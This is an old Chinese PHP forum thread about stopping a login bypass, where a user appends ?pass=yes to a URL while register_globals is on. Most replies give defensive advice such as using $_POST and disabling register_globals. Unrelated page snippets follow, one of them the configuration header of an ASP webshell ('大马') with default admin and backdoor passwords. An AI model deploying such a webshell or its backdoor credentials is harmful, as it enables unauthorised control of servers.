怎样防止用户用aaa.php?pass=yes登陆？

hzqq 2003-08-22 09:30:38

我用session来控制
而且开了global_vars
有什么比较好的办法？

...全文

38 10 打赏收藏转发到动态举报

写回复

10 条回复

切换为时间正序

请发表友善的回复…

发表回复

wyzdytc 2003-08-23

打赏
举报

回复

有什么意义吗？

syhb 2003-08-22

打赏
举报

回复

判断一下？号后面的参数字符串是否存在，如果为空执行原有的验证，如果不为空，示错！

bluemeteor 2003-08-22

打赏
举报

回复

在检验页面用$_POST['pass']或者$_GET['pass']来判断

别直接用$pass判断就可以了

DFlyingchen 2003-08-22

打赏
举报

回复

用$_POST['pass']或者$_GET['pass']
把global_vars关掉

xuzuning 2003-08-22

打赏
举报

回复

操作时只使用post变量组：$HTTP_POST_VARS或$_POST

bushido 2003-08-22

打赏
举报

回复

用$_Post["pass"]=="yes"来接收

sailor001 2003-08-22

打赏
举报

回复

不要使用GET接收已经登陆的参数

mwjx 2003-08-22

打赏
举报

回复

mark

myblessu 2003-08-22

打赏
举报

回复

用 $_POST['pass'] 来取变量,
用 $_SERVER['HTTP_REFERER'] 来判断数据是不是从你要求的页面POST过来的.

有理想的草根 2003-08-22

打赏
举报

回复

9494或再加个验证罗...就像hidden那样

从零开始学习Linux，记录笔记，担心自己以后会忘，也供大家茶余饭后，闲来无事看看，自己的理解只能到这，也希望大家可以指出我的错误让我可以有一点点进步，以后会一直更新

学习背景之前做了xss预防,以及些许的注入预防了,但是不够全面,如果还是搜集了下一些常用的注入手段,以此用来进行更好的预防. 什么是注入一般来说，SQL注入一般存在于形如：HTTP://xxx.xxx.xxx/abc.asp?id=XX等带有参数的ASP动态网页中，有时一个动态网页中可能只有一个参数，有时可能有N个参数，有时是整型参数，有时是字符串型参数，不能一概而论。总之只要...

2.经BOIS的控制，将MBR中的Boot Record调入内存中。这里就要说说Linux的Boot程序了，Linux的Boot程序有GRUB和LILO，而CentOS默认的Boot程序是ＧＲＵＢ。3.通过Boot程序，访问硬盘中的Linux内核程序。4.将内核程序调入内存中。5.内核程序调用完成后，通过内核访问硬盘中将要用到的其他文件。内核第一个执行的文件是/sbin/init，而这个文件的设置

官网http://www.python.org/ 官网library http://docs.python.org/library/ 中文手册，适合快速入门 http://download.csdn.net/detail/xiarendeniao/4236870 python cook book中文版 http://download.csdn.net/detail/XIAREND

UserPass ="admin"' 密码 clientPassword ="a"' 生成后门一句话密码 siteurl="aspmuma.cccpan.com" mNametitle ="黑客美化版大马_2012版"' Copyright ="请勿用于非法用途，否则后果作者概不负责"' 版权 Server.ScriptTimeout=999999999

21,886

社区成员

140,364

社区内容

发帖

与我相关

我的任务

社区管理员

加入社区

近7日
近30日
至今

加载中

查看更多榜单

社区公告

暂无公告

试试用AI创作助手写篇文章吧

+ 用AI写文章